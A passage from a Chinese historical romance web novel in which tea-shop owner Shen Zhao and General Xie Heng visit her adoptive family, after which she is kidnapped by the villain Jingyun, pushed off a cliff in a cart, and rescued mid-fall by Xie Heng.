伙计们猫着身子去拼另外几张桌子:“掌柜的您们坐,我们坐另一边。” “对,我们站着也行。” 谢珩却起身,将木凳搬到沈昭身旁,挨着她坐下,让出位置:“无妨,一同坐就是了。” 伙计们大眼瞪小眼,抑制不住眼中流露的兴奋劲。 沈昭开口:“快坐吧,休息完了一会儿还要干活呢。” 众人入座,虽然他们不确定掌柜的是否成婚,但她们二人言语之间的热络,浓情蜜意的言行举止,任谁都得叹一句天作之合! 有几个胆大活泛地,凑近了些,打趣道:“将军大人,您可得替我们作主呀,我们家掌柜的”因着沈昭来雅茗茶铺的日子不多,又待人亲和,他竟一时想不到什么可诉苦的由头。 思量片刻,说道:“我们家掌柜的太能干了,眼里全是活,我们也不能累着她啊,到最后这活儿都落得我们身上了,将军大人您可得好好管管她!” 沈昭口中的茶还未咽下,双手掐着腰,对上小伙计得意地冲她挑挑眉,竟还当着她的面告状了。 其他人眼眸滴溜溜地在三人之间轮转,等着瞧好戏,谢珩却笑道:“这我可管不了,我们家由她作主,若是你干的累了,不妨跟我去左衙,我找几个金吾卫陪你练练。” 小伙计头摇得和拨浪鼓一般:“算了算了,我只怕没那个命能活着出来。”吓得水也不喝了,转身要溜。 沈昭抬手让他坐下,又轻打在谢珩的胳膊上:“你可别吓着我们店里伙计。”她对伙计说着,“别当真,他说笑罢了。” 他们哪敢信威风八面的将军不仅与他们同桌而坐,还同他们说笑呢。 但见他拉过沈昭的手,眸中含笑,温言道:“好。” 同桌的伙计们听得真切,不知谁先“哦~”了一声,顿时哄闹起来,笑作一团。 这将军对掌柜的说话时,眼神柔得都能滴出水来,哪还有往日半分威严。 沈昭被他们闹得脸红扑扑的,只得多喝几口凉茶消热。 其他人不欲打扰,一饮而尽后纷纷起身:“掌柜的,将军大人,你们先歇着,我们先去整理整理。”说完一副功成身退的样子,互相推搡着耍闹。 沈昭见众人离开,旋着手腕,羞怯道:“谢珩,你先放手,这么多人呢。” 谢珩回头四望:“他们为着避嫌都散了,哪还有人。”他复又拉起她的手,将她的手完全包裹于掌心中:“你惦记着祖母和母亲,却将我忘个干净,我们沈大老板,你可知我喜欢喝什么口味的茶?” 沈昭浅笑出声,他这醋竟吃到自家长辈身上了:“好,你稍候,我这就去沏一杯你爱喝的,如何?” “当真?那我陪你一同去,我要看看。” 沈昭将他摁在木凳上:“这惊喜呢,你若提前知晓,就没有意思了,我很快回来。”说罢,转身端起谢珩桌上的杯盏进了后院。 她回来得确实很快,只是极力压住的唇角却暴露她的小心思。 她将杯盏递到谢珩手中:“尝尝吧,老板特调,仅此一份。” 谢珩蹙着眉心接过,手却僵在半空,白瓷的杯盏映着其中茶汤带着浊色,没有茶水的清香反而有股说不出的味道。 他迎着沈昭期待的眼眸,深吸一口气,视死如归般一饮而尽。 沈昭得逞地弯起唇,她在后院厨舍里悄悄加了几滴醋:“如何,好喝么?” 酸涩在唇舌间弥漫,他知沈昭鬼花样多得很,可能博她一笑,便也值了。 沈昭眨巴着眼,还在等他的回答。 忽而后颈一紧,被谢珩大手压入怀中,贴上他还沾着水渍的唇,他的小舌轻扫过她的唇齿,口中的酸涩染到她舌尖,一触即分。 谢珩抬眸,眼波潋滟似春水初融,喉结滚动:“你觉得如何?” 后院传来的杯盏坠地声响格外清晰,小伙计“嗷——”得一嗓子还没叫出声就被旁人掩住嘴。 沈昭咬着唇将他推开,只得以手背贴脸,消解脸上的热意:“不和你闹了,我要送货去了。” 后院里的伙计们耳朵仿佛黏在她们这处,大喊着:“掌柜的,你迷糊了,还不到送货时辰呢!车夫们都去休息了。”他的话音伴随着大家的嬉闹声不止。 沈昭脸红得更甚,她以后可不能让谢珩来此了,否则这些小伙计哪还有心思干活了。 谢珩走上前拉起她的手:“那我们出去走走?” “等等,”沈昭拿出店里她提前备下的茶团,“陪我去个地方。” “去哪?” “严元清的家。” 两人正准备去严家,晋国公府的王管家匆匆赶来,笑意深深,正巧碰到她们二人,恭敬说道:“少爷,小姐不,可能要改口叫少夫人了,夫人请你们晚上回府,说是一起吃顿饭。” 第72章 沈昭假扮谢怀瑾时,碍于身份私隐,无法回严家,此事之前只告诉过严母,严母自她走后,再未打扰过她的生活。 后来的四年光景中,虽多次遣人往严家送东西,但为了躲着谢珩,她一直没露面。 可她心里却始终放不下严母,但这多年未归又积攒了太多的愧疚和歉意。 谢珩虽不知道她是穿越而来,但却知道她并不是严家的女儿,看出她的犹豫,握着她的手又紧了几分:“我同你一起去。” 谢珩答应得干脆,沈昭初时只将这看成是多年未归的女儿回家探望父母。 但见谢珩遣人从晋国公府驾了一辆马车,满载着大大小小的锦缎布匹、玉器古玩、茶酒点心 杨方手里还拎着两只活鸡,扑腾着翅膀,咕咕咕咕叫个不停。 沈昭一时有些后悔:“要不还是我自己去吧。” 谢珩拉过她的胳膊,挡住她的去路:“我作为新姑爷上门,自然不能空手去。” 确也有几分道理,但是不能空手和如此张扬还是有几分区别。 谢珩起初也是为礼数周全,可总是想把最好的都给她,如此便有了这满满一车。 因着茶铺和严家相距不算远,两人在前走着,马车缓慢在她们身后跟随。 他们这一路吸引了不少目光,待马车停到礼安坊严家门前时,街里街外的四邻已经围了过来,目光落在这小两口身上。 沈昭和谢珩尴尬地对视一眼,沈昭推开了家门,一个黑壮的男子在院里劈柴,锋利的刀斧稳稳坠地,木柴霎时被一劈二半,他问道:“谁?” 谢珩下意识抬手挡在沈昭身前。 沈昭虽没见过此人,但依着原主记忆,应该是她大哥,她拍拍谢珩的手臂,让他放下,向着那男子喊道:“哥!” 严家大郎严军放下手中的斧头,擦去眼皮上的汗,才认清这是她多年未归的妹妹,他顺手拿起墙边的拐杖,撑着身子走近了才敢认:“真的是清儿啊!这么些年,你都去哪了?” 沈昭一时语塞,但她错开话锋,笑道:“娘亲呢?怎的不见她在家。” 严军还未开口,瞥见站在他妹妹身旁的谢珩,眉头紧了紧:“就是你将我妹妹拐走了?” 这大舅哥见新姑爷,总有几丝火药味在其中。 他这话倒也不假,当初确是谢珩上门,才将人带走。 沈昭观气氛不对,虚抬着手扶严军坐下:“哥,你先坐下歇歇。” 可她这一劝,在严军眼中倒更像有意护短。 严军腿脚不好,找不到正经的营生,只能靠卖些柴火为生,多亏了沈昭这些年时不时往家里送些银钱,严家才一点点好起来。 可只见银子不见人,哪怕他心中没有猜疑,邻里间的传言也不得不引人猜想。 毕竟当年有些人见过谢珩带她离开,再细问严母时,严母只字不提,严母本就不是沉默的性子,若是好事,她早敲锣打鼓宣扬出去了,岂会百般遮掩,甚至连自己的亲儿子都不知会。 今日得见谢珩一身锦衣,他妹妹头上戴的金簪闪闪,这哪是他们普通百姓能买的起的。 严军抄起一旁的斧头,锋芒冲着谢珩,将沈昭护在身后:“我不管你是何来头,但我家妹子不受人折辱。” 门外人头攒动,人越聚越多,不少百姓认出谢珩,嘴里小声议论:“这不是那日回城的将军么?见过他!” “他好像是金吾卫。” 严军眼中没有一丝惧色:“当官的又如何,以我一命抵你一命也值了,你今天不给我妹妹一*个交代,休想走出这个大门。” 谢珩面对他的质问,反而笑意更深,毕竟多一个人疼爱关心沈昭,他也很欢喜:“前事种种,确实是谢某之过,思虑未周,以致唐突,今日登门谢罪,还望兄长海涵,日后我必会郑重令妹,不负所托。” 话虽谦卑诚恳,但他这一笑,落在严军眼中却变了味,他一根筋似的抡起斧头:“那你就承认是你薄待了我妹了!今日我饶不了你。” 手臂发力,踉跄着身子就朝谢珩去了。 沈昭见他们二人你一言我一句,完全置若无人般,她连句话都插不进去,严军护她心切,不由分说要动手,谢珩竟还站在原地不避不躲。 她两手捉住严军的胳膊:“哥,有话好说,你误会了。” 笑嘻嘻看热闹的百姓陡然变了脸色,这殴打官差可是要入大狱的,若是见了血,他们该如何交代! 人一窝蜂地涌入院子里去拉架。 杨方刚安顿好马车,听着人群中窸窸窣窣:“杀人了”“快拦着”之类的议论,被人流挤着带入院中,忙不迭地将手里拎的两只鸡高高举起,眨着豆眼看着眼前的慌乱。 整个礼安坊都乱作一团,严母打水回来,见到自家围着这么多人,挤又挤不进去,只得兆地一嗓子喊道:“大军,你犯什么邪风,招这么多人!” 她这一声气势十足,在乱哄哄的人群中如一道惊雷炸开,所有人不约而同向门外看去,看到严母归来,自觉退后让出一条路。 严母上前几步,望见那抹熟悉的身影,一眼认出多年未归的女儿,惊在原地,双手失力,怀中抱着的瓦瓮顺势滑下。 谢珩轻功上前,脚尖掂起,轻松地接住瓦瓮放于一旁的桌案上。 “好!”人群中叫喊声起,又似觉时机不对,赶紧闭上了嘴。 严军咂咂嘴,握着斧头的手掂了掂,未曾想到他武功如此之高。 严母不敢置信地缓步走上前,直到牵起沈昭的手才知这不是梦,她声音微颤:“好孩子,你总算回来了。” 见严军退到一旁,沈昭扶着严母坐下:“娘亲,这些年是孩儿不孝。” 严家院子本就不大,此刻挤满了人,逼得空气都停止流动。沈昭自是想把这些年的事对严母有个交代,可当她眼眸落在围着他们的四邻之中,只得尴尬笑笑。 严母扭过头,赶客般说道:“要不要我给大家上点热茶,备些果子,坐下来听啊。” 众人扫兴,悻悻而归。 此时,严母才瞧见院子里的主仆二人和两只鸡。 她几年前见过谢珩,前几日去街上凑热闹时也远远瞧了一眼,适才反应过来,从座位上麻利地直起身子:“大人,刚才太乱了,我没看到您,您快请坐。” 还不忘吩咐严军将桌凳擦干净。 严军虽脾气急,但重在一个孝顺护短,虽面上不情不愿,但手上打扫的动作却不慢。 可严母心里却犯了嘀咕,几年前这谢大人将她闺女接走了,如今他倒是风光归来了,这把人亲自送回来,是当初签的契书作废了? 不过好在她们一家能团聚,总比她在外吃苦受气要好,可就是可惜了这么几年光景,白白蹉跎了岁月。 有严军一个锯嘴葫芦在家就够惹她生气的了,她痛心自己的三个儿女样貌堂堂,怎的婚事如此愁人。 心里还在念叨,沈昭已牵起谢珩的手:“娘亲,这些年是我不孝没能来探望您,日后我会多回来探望您。” 严母思绪还在神游,眼眸垂到他们紧握的手,霎时亮了:“你和谢大人这是?” 既然李立雯主动开口让她们一同回府,谢珩心里有了几分把握,他本就不愿意遮掩,直接改了口:“丈母,久未登门,是晚辈礼数不周,还望您见谅,家中已知晓我和沈昭的事,定会择吉日下聘,正式迎娶她进门。” 严母心中的阴霾和怨怼一扫而空,但眼中仍有困惑,直到杨方和车夫搬着提前备下的礼品,抬到院中,她才有了真切实感:“都是自家人,何必这么见外。” 嘴上说着,手里却很自然地将鸡扔到鸡舍里,还不忘剜严军一眼:“傻愣着作甚,还不快去帮忙!刚才是你在院里闹这么大动静?” 严军委屈道:“他把小妹拐走,这么多年——”话还未说完,严母一巴掌甩在他背上,“你还挺大能耐,不看清楚就动手,这是你妹夫,一家人,你这混小子,之前若不是他,你现在还在干苦力呢,我怎么教出你这个憨货。” 严军吃了瘪,没了气势,拄着拐杖往马车走。 沈昭本还想劝,严母爽朗道:“不用管他,让他长点教训,给我闹这么一出,还找不着媳妇,真不如把他送回去当河工,瞎长个大个。” 沈昭好不容易回来探望,谁知惹出这一番动静,耽误了不少功夫,因着还得回茶铺送货,只将这几年的事一带而过。 严母知晓城里的铺子是她闺女开的,将她拉至一旁,生怕让人听到:“这是你自己的营生,不是姑爷挂在你名下的?” 沈昭想了想:“起初确有朋友相助,帮我研究茶树种植,后来在洛阳立住脚跟全靠着自己,入了长安城后我又多请了几人帮衬。” 严母眼珠子转的快,心里一番盘算,避开谢珩问道:“那姑爷还会上战场么?万一你如今这么有出息,肯定不愁嫁人,我怕他再像御风那孩子一般,到头来苦的是你。” 沈昭知晓严母向着自己,她抱了抱严母:“娘,女儿心意已决,不会再改。” 自严元清及笄后,体己话都很少同自己说了,更遑论今日这番亲昵,严母一时愣怔,害臊地将她推开:“你这孩子,倒还撒起娇了。” 二人闲话家常,谢珩多陪在旁听着,严军则在一边低头干活,临走时,严母拿出给她做的青色长帔:“你总是往家里送东西,记得照顾好自己,我瞧这料子正合适,又怕你身量有变,就做了个轻薄些的长帔,你试试。” 沈昭谢过母亲,穿在身上,又同严母定好,明日回家吃饭,严母还不忘叮嘱:“看到性子稳妥的姑娘,别忘了给你哥相看相看!” “好。” 谢珩和沈昭走出院门,迎面撞上一个小童,他的阿翁正在后面追着他打:“让你小子整日乱跑,不去书院读书,和山里的猴子一样,你怎的不住山里呢,看我不打死你。” 这孩子是隔壁的小虎子,藏到谢珩的身后,认出严元清:“哥哥姐姐,救命,我阿翁要杀人了。” 一番询问下才知,这孩子不爱读书,一连几日逃学去山里玩。 他阿翁抄起扫帚就追上来,怒道:“你这混小子,还学会找帮手了,给我滚过来!” 小虎子抓着谢珩的衣角:“我就不,等我长大以后,我也找个媳妇,就不怕你了。” 谢珩蹲下身子对小虎子说:“若是你不好好读书,可找不到媳妇儿了。” 在长安接亲时,有“却扇”一说,新娘以扇遮面,待新郎对诗后,才可移开扇子露出面容,想当初公主成婚前,高峻在书房中埋头苦读,可费了不少功夫。 不过多流行于士族阶层或文人雅客,谢珩这番只顺着孩子的话,劝他认真读书罢。 小虎子撇撇嘴,孩子气说:“娶媳妇这么麻烦,算了,我不娶了。”转头就跑,爷孙俩追逐着跑开。 谢珩复又拉起沈昭的手,两人一同往茶铺走去,还不忘打趣道:“夫人,可要对我手下留情些,万一却扇时,我被你难住,可如何是好?” 他自从得了甜头,嘴里像沁了蜜一般,变着花样逗沈昭。 沈昭才不会顺着他,故意说道:“我还没过门呢,谁是你夫人。祖母夸你才学高,我还没有见识过呢,成婚那日我定会绞尽脑汁,想出最难的考题。” 谢珩笑着将她拥入怀中:“那夫人可定要好好想想,如此,全长安城就只有我可以配得上你了。” 两人说笑着往茶铺走,全然没注意到茶铺隔壁巷口,惊云望着谢他们二人身影,眼中狠辣尽显,他眯起眸子,紧咬着牙恶狠狠地笑道:“沈昭,你把我逼至如此地步,若要下地狱,我誓要拉你一起。” 第73章 今日茶铺的货分为四批,分别需要送往宫中贡茶院、西市胡商处、南方的盐商商会和灵山寺。 店里的伙计每每给宫中送茶时都头疼不已,虽没有多大的茶量,但贵在精,容不得半分闪失,常常还需要打点一番。 因着谢珩今日在场,沈昭让他从这四处择一处去送,谢珩拎起送往宫中的两份,临走时却犹豫道:“不如你等我回来,我再陪你一起去送。” 沈昭:“其他几处都定好了时辰,若是去得晚了不合适,原先还没开铺子时,都是我自己送的,车行的老板同我相识,不必担心。” 沈昭和谢珩对视而笑,沈昭谢过王管家,对谢珩说:“那你可要等我回来。” “好!”谢珩手拎着茶叶,往宫中走,从未有一刻觉得脚步如此轻快。 沈昭挂着笑颜,踩着车凳跳上太平车前的席棚落座。 她们运货的太平车和官家的辎车不同,需要四头牛在前牵引,若不是为着送远距离的重货,一般用不到此车。 因着茶铺一开始是沈昭张罗,后来多由夏目出面,同车夫同坐难免不便,沈昭便和车行的老板商议,她出钱改良,在前加上一个拱形席棚,既可载人又可送货,若是路遇大雨,车夫也可在其中避一避。 本是为着她方便的车,后来却颇受其他雇主喜爱,给车行带去不少生意,车行老板感激沈昭,往往都以最低价格帮她送货。 沈昭满心欢喜地坐于车中,全然没注意到驾车的车夫早已换了个人。 远处街巷中的草席下,真正赶车的车夫被人打晕了扔在一旁,手边的葫芦碎成两半,茶水淌了一地。 因着太平车主要以运送货物为主,虽然加了一个席棚,但相较于普通马车,到底舒适度不足。 沈昭倚靠在自带的软垫上,低眉瞧着今日的车夫很眼生,以往都是赵师傅在,他干这行二十多年,架车稳当,她问道:“今日怎么不见赵师傅?” 架车的车夫只扬了扬手中的马鞭,目视前方,头也不抬:“他家中有事,休息了。” 声音低哑,身上似乎罩着一层拨不散的阴沉,若非沈昭偏头瞧着他唇角动了动,只怕以为自己幻听了。 她因着茶铺生意同车行的人接触得多。 车夫们一直奔走在路上,难免会失神打盹,最需要茶叶提神醒脑,但贵一些的又舍不得买,沈昭会将一些茶免费送他们,后来几乎每个车夫都在车上挂个水囊或者葫芦,泡些热茶。 沈昭伸长脖子,在他周遭逡巡一圈,在赵师傅往常挂葫芦的地方并没有任何发现,她意觉不对,但并没有冲动打草惊蛇:“师傅您贵姓啊,不知道干这行多久了?” “李,不久。”那人兴致缺缺,每次说出的字不超过十个,若非沈昭问他,他不会主动提及一句。 沈昭这趟是往商会送,出了长安城,来往的车驾渐少,整条路上只余她们一辆。 她虽然多次往返于长安和灵山寺,但大多都坐于马车中,饶是有意去记,她也未必记得,此刻前不着村后不着店,她手边又没有任何趁手的武器。 她只得故技重施,捂着小腹,哎哟哎哟喊着:“师傅,我腹痛难忍,烦请您行个方便,等我一会。” 车夫扬鞭的手僵在空中,终于向她的方向扭过头来。 —— 谢珩步履轻快,本想着驭轻功而去,可转念一想沈昭出城回城还需耗费些功夫,若他自己早早办完这个差事,只能苦等她,不如放慢步子,耐心候着。 转过街角时,见那儿远远围了一群百姓。 街市上常常有这样的野摊,虽下令禁止多次,可屡禁不改,一般会有巡值的金吾卫将其赶离,他今日未着官服,无权处置她们,又一向不爱凑热闹,提步刚要走。 迎面遇到慌慌张张的金吾卫,险些撞到一处。 认出是自家将军,金吾卫退后几步执礼道:“将军。” 谢珩收起脸上的笑,问道:“发生何事,如此慌张?” “回禀将军,不是大事,听闻街巷里有个人晕倒了,属下等正准备过去看看。” “去吧。” 谢珩未做他想,继续缓步向宫门走去。 街上熙熙攘攘,路经医馆时,碰巧遇到几人交谈着往外走,与他擦身而过:“这年景太不太平了,一车夫还能被人打晕了,扔在路上。” “你懂什么,这肯定是冲着货来的,你没听见那车夫说身上的银钱还在。” “那茶叶能值几个钱?去雅茗茶铺还有免费的茶水呢!” “一看你就没吃过细糠,给你喝的和给陛下喝的茶能一样么?” 谢珩赶忙拦下他们:“你口中所说的车夫在哪?” 那人扭头向茶馆看去:“人还在里面躺着呢。” 谢珩将手里的茶叶随手一递,冲进茶馆,背后只听得呼喊:“公子,你东西不要了!” 话音未落,他疾步闯入医馆,带起门帘“哗啦”震响,药柜前的老大夫只觉劲风扑面。 不消片刻,当众人惊呼声还未落下时,那道身影早踏着酒旗竹竿凌空,衣袍在空中烈烈扬起,转眼间掠过三重坊墙。 车行的车夫被人打晕,又正巧是雅茗茶铺送货的人,这一重重巧合显然意有所指。 他依稀记得沈昭那趟是去城郊的盐商商会总首家,他到了城门,拿出令牌,得知她们在半柱香前已经出城,翻身上马,带了几名将士,向着她们离开的方向追去。 —— 这车夫倒十分谨慎,听闻沈昭要下车,他只稍稍侧了侧身子,并未露出完整的面容,却加深了沈昭对他的怀疑。 沈昭捂着小腹下了马车,观其言行躲闪,有意走远些,在车夫身后的树下佯装蹲下。 那车夫虽没有直愣愣瞧着此处,但他侧身的余光仍能扫到她身上那抹青色。 沈昭冲着他大喊:“师傅,男女有别,烦请你转过身子。” 似是没料到她竟这么正大光明地点出来,那车夫稍微愣了愣,但只有片刻功夫,眼角的余光便又稍稍偏了过来。 沈昭沉着呼吸,目不转睛地盯着他的一举一动,就在他侧身的瞬间,抓住这片刻时机,将严母做的长帔挂于刚刚那处,转身向反方向跑去。 她不时回望,那车夫并不敢明目张胆地回头,仍候在原地。 等到远处只余一个黑点时,她才放心地吁出一口气,但仍不敢松懈,还在继续跑。 她的注意力全在车夫身上,全然未觉向她靠近的另一个人,直到撞上他怀中抱着的剑,踉跄一步,险些摔在地上。 她粗喘着气,对上惊云阴狠的眼眸和得意的笑,虽然她只在上次惊云去铺子里闹事时,见过他一次,但他身上那种阴邪的气质却很难令人忘却,无需靠近都让人不觉得脊背生寒。 更遑论他现在站在她面前,阴恻恻的目光迫近。 沈昭下意识地退后几步,惊云同夏目决裂,虽然与她无甚关系,但是惊云心里始终憋着一口怒气,她是知晓的。 毕竟夏目是雅茗茶铺名义上的掌柜的,又抚养了如此可爱的女儿,惊云穷尽半生心血至此,心心念念全是他的妻儿。 可沈昭本以为他出狱后,会洗心革面,彻底悔过,至少不敢再起杀心。 但穷凶极恶的歹毒岂有良心可言。 她步步退后,猛地转身要跑,却被他掐着后颈一手拉回,惊云的笑声在空寂的郊外更显悚然:“事到如今你还往哪跑,你自己坐享荣华富贵,又攀上了谢家的公子,为何非要同我过不去?” 沈昭被他掐的几乎喘不过气,挣扎着去扯他的手,脸上憋得通红,断断续续说道:“是你伤了夏目的心,怨不得别人。” 惊云忽而一松手,将她推到地上,怒喊道:“若不是你,不是谢珩,她能有那么容易同我和离!” 沈昭大口喘着气,此刻才知谢珩助夏目顺利和离了,可心中一闪而过的喜悦被当下的急迫掩盖。 她藏在衣裙下的手悄悄在地上摩挲,抓起一颗石头握在掌中,不敢再去激他,改了口气说:“哪怕和离,也并非没有机会重修旧好,蓁蓁之前在铺子里还常常念着父亲呢。” 听到蓁蓁的名字,惊云眼中有了片刻的松动,他蹲下身子:“当真?” 沈昭点了点头,肯定道:“当真。” 但他瞳孔骤然紧缩,脸上的横肉狠狠一颤:“蓁蓁每次见我时,都避之不及,又岂会念着我呢?” 沈昭登时握紧石头,抬起手臂向着他其中一只眼砸去,她的手却僵在两人之间,反被惊云死死攥住手腕,血液骤然凝在腕间,她的五指微微发麻,握着的石头被逼得滑出手心。 男女之间巨大的力量悬殊,让她毫无胜算可言。 车夫此时觉察到她跑了,匆匆跑来,惊云睨了她一眼,命车夫将她绑了:“收收你逃跑的心思,你放心,我不会让你轻易死的,若是被一剑抹了脖子,于你而言,太简单了,又怎么比得过我这些年受的折磨。” 他拿剑指着一处:“自这个方向一直走,便是一处断崖,断崖下还有一处闭口湖,你说你是会摔死呢,还是会掉进去变成一具腐尸?” 闭口湖是荒野死水湖,常生毒障,山崖下的村民久而久之,便把这儿当做废弃场,发瘟的动物尸体都会丢到其中,据闻扔进一只死鸭,不久都会变成一堆浮骨。 沈昭刚欲开口就被他拿布堵住了嘴,刀架在她脖子上,车夫利落地将她手脚都捆了。 惊云:“你这张嘴惯爱骗人,把晋国公府那群人骗得团团转,还把我妻女骗走,收起你的心思吧,”他冷笑一声,不屑说,“对了,你这种水性杨花的人,御风刚死不久,就勾搭上谢珩,倒是有几分本事在身上,我送你去见御风也算是成全了你俩,好让他在黄泉路上有个伴,带走。” 沈昭眼前霎时天旋地转,她被车夫扛在肩上,回到原地,扔到太平车上,惊云高坐于席棚之中,斜睨着她。 三人一车向着山崖方向驶去。 第74章 城外,谢珩因带的人手不足,只能暂且兵分三路,他调派的金吾卫还在赶来的路上。 沈昭在长安城无亲无故,更不该有什么仇家。 但对她心中有恨,能设计布局,如此周旋,还知晓茶铺生意来往的人,只有上次见过一面的惊云了。 谢珩快马加鞭地向着沈昭刚刚经过的方向驶去,若惊云真要置她于死地,西郊这处断崖是最近最快的路。 他的眉头攒聚如峰,眼眸在四野扫视,寻找她的踪迹,行至半途时,他见到路旁树下的长帔,是严母为她做的那件。 谢珩并未停下,手拉着缰绳,俯身抄起地上那件青色长帔,确认了是她出门时身上那件。 他将其牢牢攥在怀中,眼中淬着怒火,是他太过大意又死板,既然惊云身上背了人命,哪应该还管有没有什么证据,当初就该一剑要了他的命,永绝后患。 他扬鞭疾驰,卷起一地的尘土。 沈昭被反捆着手脚,横陈于货箱之间,太平车本就不稳当,车夫又赴死般的疾驰,她强忍着颠簸之苦,身子仿佛狂风之中被卷起的枯叶,随着太平车行进的方向,来回翻转。 惊云不时地冲着她的方向睨几眼,晾她也翻不了身后,悠然得闭目养神。 车轮碾过一颗不大不小的碎石,车身猛地颠簸,沈昭撞到一旁的货箱上,身子登时麻了半边,这一路颠簸,之前摆好的货箱之间存了一丝缝隙。 她抬眼瞥见这点机会,待身上的酸麻散了,有几分知觉时,蜷着双腿用肩抵住一侧的货箱,借力一蹭,口中的布终于从她唇边滑落。 她此时已出了一身的汗,攥动着手腕却如何也挣不开手上的束缚,试图从车上坐起都十分艰难。 若用蛮力,只是徒劳。 她顺着马车行进的方向,抓住时机调整角度,将被绑的双手卡在货箱的一角,用力上下拉扯,企图磨断绑着她的绳子。 此时,马车缓缓停下,她不动声色地收了手。 惊云和车夫下了车,惊云单手撑着货箱跳上去,蹲在一旁看到那块被她吐出的布,斜睨着沈昭:“还真小瞧了你,但是你这么大能耐,怎的挣不开这绳子呢!” 沈昭忆起刚刚只有在提到蓁蓁时,他有片刻的松动,继续劝道:“蓁蓁还小,你也不想她自小便没了父亲,你现在回头还来得及。” 惊云却完全不受她言语蛊惑:“是啊,我是回头了,路留给你走。”他一把拽起沈昭,复又将那块布塞回到她口中。 前方就是断崖,周围的松柏陡然隐于远山中,远处雾气弥散,只看到一线青山,远黛皆浮沉于烟霭之中。 惊云笑得放肆:“看见了么,那就是你马上要走的路。”他不欲同她多言,将她一把推回车上,转身吩咐车夫,“莫耽误功夫,架车!” 车夫站在一旁,持着马鞭的手顿了顿,紧咬着牙狠下心,冲着马背狠狠抽了几鞭子,马儿一声嘶鸣,高扬起马蹄向着断崖驶去。 沈昭后背落空,被带着复又摔回车上,耳边只有车轮碾过泥土的隆隆闷响。 惊云冷眼看着匆匆掠过的车驾和沈昭再也扬不起的头,牙关紧咬而绷起的两腮横肉不住的颤动。 远处,哒哒的马蹄声传入耳中,谢珩的身影在他眼眸中渐渐放大、清晰。 他身后遥遥一群黑衣压境,金吾卫铁甲凛凛,带着排山倒海的气势逼近,卷起一片黄色的尘土,将晴朗的半边天染至昏黄。 谢珩身后的马蹄声嗡鸣,像暴雨叩击大地,轰然震得人心胆俱颤。 他也未料到金吾卫赶来得如此及时,但顾不得身后,只紧紧盯着载着沈昭的那辆几近悬崖的太平车。 站在一旁的车夫慌似地拉扯着惊云:“来人了!你说过此事不会暴露,怎么还有追兵?” 惊云置若未闻,他早料到会有这一日,余光扫到已行至悬崖边的太平车,笑得狰狞。 太迟了!谢珩你来的太迟了。 谢珩松开马镫,凌空一跃,双脚站在马背上借力,他飞身而起的瞬间,载着沈昭的马车冲下悬崖,车上的货物扬起,砸在仍在挣扎的沈昭身上。 山风如刀,割得她面颊生疼,但远远不及满载茶叶的货箱砸在她身上的重量。 她身下一轻,整个人如断翅的蝶,倏然坠向山崖,耳边只余呼啸的风声和马儿的悲鸣。 沈昭涣散的视线里,忽见一道黑色身影自崖顶飞掠而下,谢珩毫不犹豫地跃出山崖,乌发在疾风中凌乱,朝她探出手:“抓住我!” 电光火石间,沈昭想伸出手,却因着手脚被缚只能任由身子下落,她嘴里支吾,吐不出任何话语,只能摇着头,任眼角的泪水被风吹干。 下落之势未减,谢珩离她越来越近,她被他紧紧抱住,两人纠缠着跌入云雾中。 疾风刮过耳畔,她只能勉强睁开眼,甚至看不清他身上的绣线纹路,只能感受到他胸腔的起伏。 忽听的“咔嚓”一声裂响,和谢珩口中低喃的一句闷哼,崖间横生的古树拦腰截住她们。 待急速下落的失重感消失,沈昭缓缓睁开眼睛,只见谢珩一手紧抓着树干,肌骨绷至极限,手臂上的青筋暴起欲裂,另一手牢牢箍着她的腰肢。 老松虽然枝干粗壮,但到底经历风吹日晒,无法长久承担两人的重量,枝丫摇摇晃晃,发出令人牙酸的声音。 碎叶纷扬中,谢珩染血的唇贴在她发顶,克制着音量:“别往下看。” 沈昭没有故意向下探,但眼眸的余光仍扫到云雾翻涌的无底深渊,脚下远远传来马儿和货箱落水的声音,令人不由得心惊。 树枝摇摇欲坠,另一端因着他们的重量向下弯折,咔咔作响,一声声似催命的低语,在山谷中回响,枝桠几近崩断,她们两人虽挂在正中,依旧撑不了太久功夫。 头顶贴着谢珩略显粗重的喘息,但见沈昭被绑着手脚,无法动弹,他开口说:“等下我会将你举上去,你试着往崖壁处爬,金吾卫就在崖上,他们会救你出去。” 沈昭听出他话中深意:“那你呢?” 谢珩平复气息,若是沈昭尚可自主行动,还可在他力竭之前,将他一同拉上去,但如今的状况,能保下她都实属不易,他只能聚力将她送上去,自己撑不了几时。 他未多言,假意说道:“我自然是同你一起出去,来,我先送你上去,一定要用身子扒牢树干。” “等等,”沈昭打断他的动作,心中油然生起一股不安,若是她上去了,以现在的境况,她该如何救下谢珩? 他还能撑得住么? 沈昭:“你再等我几息,我手上的绳子刚才被磨了大半,等我挣开它。” 谢珩身上虽然一直携带趁手的利器,眼下也是徒然,他调匀喘息,静静等着她的动作,为她们之间再谋最后一线生机。 两人悬在半空中,只能勉强维持平稳,任何的力都会打乱这片刻的安宁。 沈昭试图挣开的动作,却连带着本就不堪其重的树枝晃得更甚。 未久,头上传来他压抑哑然的声音,他似下了决定般:“我先送你上去。” 沈昭生怕他冒然行事,不敢去设想他最后的打算,急得红了眼眶,崖下疾风不止,但她额角的碎发却被汗湿透。 她的腕骨猛地一拧,麻绳顿时勒进皮肉,火辣辣地疼,血珠顺着她苍白的肌肤蜿蜒而下。 她双手牢牢抱紧谢珩,生怕他舍身成全她,话语间掩饰不住的哭腔:“我挣开了!” 谢珩释然地勾了勾唇角:“弄疼了没有,我腰间有刀子,你解开绳索,先上去。” 树枝颤动得愈发厉害,沈昭没有多作犹豫,摸到他腰间的硬物,小心地抽出,尽量减轻幅度,蜷起双腿,将脚下的绳子割断,踩着谢珩的肩膀爬上去。 爬上树枝后,她甚至来不及细看周围环境,趴下身子,死死攥住谢珩的手腕:“快,我拉你上来。” 谢珩抬眸对上她坚定的眸光,另一只手努力扒上树枝,已近力竭的双臂用尽最后一丝力气,被沈昭拉了上去,他虚挪着步子,护在沈昭身后,两人走至崖壁边,才有了一丝实感。 沈昭见他唇色泛白,脸上毫无血色,关切地望向他身后:“你受伤了?让我看看。” 谢珩反握着她的手:“无碍,悬停太久,一时气血不畅罢了,”他弯起唇角,语意缱绻道,“怎么,夫人在如此境遇下,还想看我身子?” 见他还有心思说笑,沈昭稍稍松了口气,她贴着崖壁将他拉近,垂眼望去,四周云雾环绕,视野只在几步之内,向上望只有高悬的日头,向下望一眼看不到边。 谢珩是习武之人,目能察秋毫之末,耳可辨细碎蚁步,此处云雾深深,有碍视听,可他目之所及,下方不远处有一石台,但是他并无十足的把握。 